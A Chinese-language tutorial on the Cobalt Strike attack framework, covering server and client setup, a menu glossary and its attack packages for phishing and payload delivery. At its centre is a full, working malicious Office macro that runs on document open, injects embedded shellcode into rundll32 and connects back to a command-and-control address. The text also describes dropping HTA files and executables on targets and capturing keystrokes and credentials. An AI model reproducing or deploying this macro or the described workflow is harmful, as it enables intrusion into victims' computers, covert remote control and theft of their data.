目录结构

  1. agscript 拓展应用的脚本
  2. c2lint 用于检查 profile 的错误异常
  3. teamserver 服务端程序
  4. cobaltstrikecobaltstrike.jar 客户端程序 (java 跨平台)
  5. logs 目录记录与目标主机的相关信息
  6. updateupdate.jar 用于更新 CS
  7. third-party 第三方工具

知道这几个就可以了,Windows上和这个一样,其他的都是链接文件。

运行

服务端启动

  1. chmod +x teamserver
  2. ./teamserver [external IP] [password] [/path/to/my.profile] #需要root权限启动
  3. 服务端真实IP(不能使用0.0.0.0127.0.0.1)

客户端

需要提前配置JDK环境,推荐JDK1.8

  1. bash ./start.sh #Linux MacOS
  2. cobaltstrike.bat #windows

功能中英文对照

Cobalt Strike

c8.png

  1. New Connection #新的连接(支持连接多个服务器端)
  2. Preferences # 偏好设置(设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录等)
  3. Visualization #窗口视图模式(展示输出结果的形式)
  4. VPN Interfaces #VPN接入
  5. Listenrs #监听器(创建Listener)
  6. Script Manager #脚本管理
  7. Close #关闭

VIew

c9.png

  1. Applications #应用(显示受害者机器的应用信息)
  2. Credentials #凭证(通过hashdump或Mimikatz抓取过的密码都会储存在这里)
  3. Downloads #下载文件
  4. Event Log #事件日志(主机上线记录以及团队协作聊天记录)
  5. Keystrokes #键盘记录
  6. Proxy Pivots #代理模块
  7. Screenshots #截图
  8. Script Console #脚本控制台
  9. Targets #显示目标主机
  10. Web Log #Web日志

ATTACK

Attact 下面有三个选项卡,分别是Packages(包攻击), Web Drive-By(Web攻击), Spear Phish(钓鱼攻击)

Attack Packages

c10.png

  1. HTML Application #生成恶意的HTA木马文件
  2. MS Office Macro #生成office宏病毒文件
  3. Payload Generator #生成各种语言版本的payload
  4. USB/CD AutoPlay #生成利用自动播放运行的木马文件
  5. Windows Dropper #捆绑器,能够对文档类进行捆绑
  6. Windows Executable #生成可执行Payload
  7. Windows Executable(S) #把包含payload,Stageless生成可执行文件(包含多数功能)

Attack Web Drive-By
  1. Scripted Web Delivery #提供Web服务,便于下载和执行PowerShell Payload,类似于Metasploit的web_delivery
  2. Signed Applet Attack #启动一个Web服务以提供自签名Java Applet的运行环境
  3. Smart Applet Attack #自动检测Java版本并利用已知的exploits绕过security
  4. System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等

Attack Spear Phish

钓鱼攻击

Reporting

c11.png

  1. 0. Activity report #活动报告
  2. 1. Hosts report #主机报告
  3. 2. Indicators of Compromise #威胁报告
  4. 3. Sessions report #会话报告
  5. 4. Social engineering report #社会工程学报告
  6. 5. Tactics, Techniques, and Procedures #策略、技巧和程序
  7. Reset Data #重置数据
  8. Export Data #导出数据

Help

c12.png

  1. Homepage #官方主页
  2. Support #技术支持
  3. Arsenal #开发者
  4. System information #版本信息
  5. About #关于

Cobalt Strike 用户驱动攻击包

HTML Application

首先打开Attack->Packages->HTML Application, 选择好监听器。

c13.png

这里的攻击方式有三种分别是,Executable(可执行文件), Powershell,VBA(宏代码攻击)

Executable 基于Windows二进制编程的可执行文件。

PowerShell 基于Powershell编写的可执行文件。

VBA 基于Visual Basic的一种宏语言的可执行文件。

点击生成,将生成好的文件保存到文件夹中,然后拖到目标机器上执行,或者开启Web服务给目标主机下载执行

MS Office Macro

Windows OFFice宏病毒文件

c14.png

选择好监听器之后,会有一个操作步骤提示,然后点击下方的按钮复制代码。

c15.png

然后就是一大串office宏病毒代码

  1. Private Type PROCESS_INFORMATION
  2. hProcess As Long
  3. hThread As Long
  4. dwProcessId As Long
  5. dwThreadId As Long
  6. End Type
  7. Private Type STARTUPINFO
  8. cb As Long
  9. lpReserved As String
  10. lpDesktop As String
  11. lpTitle As String
  12. dwX As Long
  13. dwY As Long
  14. dwXSize As Long
  15. dwYSize As Long
  16. dwXCountChars As Long
  17. dwYCountChars As Long
  18. dwFillAttribute As Long
  19. dwFlags As Long
  20. wShowWindow As Integer
  21. cbReserved2 As Integer
  22. lpReserved2 As Long
  23. hStdInput As Long
  24. hStdOutput As Long
  25. hStdError As Long
  26. End Type
  27. #If VBA7 Then
  28. Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
  29. Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
  30. Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
  31. Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  32. #Else
  33. Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
  34. Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  35. Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
  36. Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  37. #End If
  38. Sub Auto_Open()
  39. Dim myByte As Long, myArray As Variant, offset As Long
  40. Dim pInfo As PROCESS_INFORMATION
  41. Dim sInfo As STARTUPINFO
  42. Dim sNull As String
  43. Dim sProc As String
  44. #If VBA7 Then
  45. Dim rwxpage As LongPtr, res As LongPtr
  46. #Else
  47. Dim rwxpage As Long, res As Long
  48. #End If
  49. myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
  50. 13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
  51. -42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
  52. -117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
  53. -43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,80,0,0,0,83,80,104,87,-119,-97, _
  54. -58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
  55. 104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
  56. -43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
  57. -1,-1,47,88,76,74,110,0,42,-28,25,69,-16,120,57,71,-18,-36,-18,58,-103,108,34,-46,10,29,19,91,117,87,-18,108,-30,-106,-39,115,81,-101,23,72, _
  58. -17,39,56,-16,-104,-71,89,-32,-114,113,-113,-66,-97,84,71,33,-65,35,-79,-43,14,38,-111,100,-49,-97,-104,-7,111,-101,-33,-80,54,21,-60,38,-25,-25,77,71, _
  59. 19,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _
  60. 83,73,69,32,56,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,84,114,105,100,101,110,116,47,53,46,48,41,13,10,0, _
  61. 37,-32,-14,35,-55,94,-8,35,-95,-108,57,-67,-115,80,69,11,55,-69,-91,106,54,62,80,-19,21,68,12,-103,-50,-97,-118,68,-25,-89,-50,111,56,32,16,30, _
  62. 47,64,123,-63,-39,107,107,-79,-26,51,-14,-36,90,83,113,16,-18,-124,112,80,-86,36,57,96,125,15,6,51,-27,53,107,63,-72,22,101,0,-91,-19,-53,-66, _
  63. 35,110,28,-19,-95,-81,-82,6,-60,113,27,36,25,-71,38,-19,43,-47,96,81,-78,123,41,95,121,60,47,38,90,-64,122,-26,56,86,82,53,18,-33,23,107, _
  64. -27,-109,-102,-100,114,1,38,105,-79,33,-57,68,-106,-60,-77,124,44,104,60,79,116,63,87,107,34,-67,19,-83,-56,-121,-36,47,-42,-103,57,105,71,115,-97,-64, _
  65. 12,78,125,-120,-47,-94,-128,38,44,108,-98,-7,41,-40,118,-15,65,46,47,41,-30,95,-48,-112,46,-52,-50,66,5,-49,-86,-76,41,21,-120,98,-83,94,98,105, _
  66. -88,81,-41,40,26,-107,7,-70,41,-105,43,59,25,-17,1,-55,-82,-108,-123,-105,-52,24,-33,36,104,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
  67. 104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
  68. -123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,49,57,50,46,49,54,56,46,49,52,57,46,50,48,56,0,18,52,86,120)
  69. If Len(Environ("ProgramW6432")) > 0 Then
  70. sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  71. Else
  72. sProc = Environ("windir") & "\\System32\\rundll32.exe"
  73. End If
  74. res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
  75. rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
  76. For offset = LBound(myArray) To UBound(myArray)
  77. myByte = myArray(offset)
  78. res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
  79. Next offset
  80. res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
  81. End Sub
  82. Sub AutoOpen()
  83. Auto_Open
  84. End Sub
  85. Sub Workbook_Open()
  86. Auto_Open
  87. End Sub

c16.png

Payload Generator

生成各种语言版本的payload

c18.png

这里我们选择PowerShell,也可以根据你当时目标环境选择其他语言的payload

Windows Executable

和上面类似一样选择listener,然后生成,再拖到目标机器上执行

Windows Executable stager

stager其实是一段很简单的加载器,是socketedi协议请求的一段shellcode,它的作用是向teamserver(C2)请求一段数据,这些数据前是个字节是shellcode的长度,后面是shellcode。接收到数据后跳转到shellcode所在的内存处开始运行。

参考

https://my.oschina.net/u/4256357/blog/4698515

http://www.scantime.cn/?p=317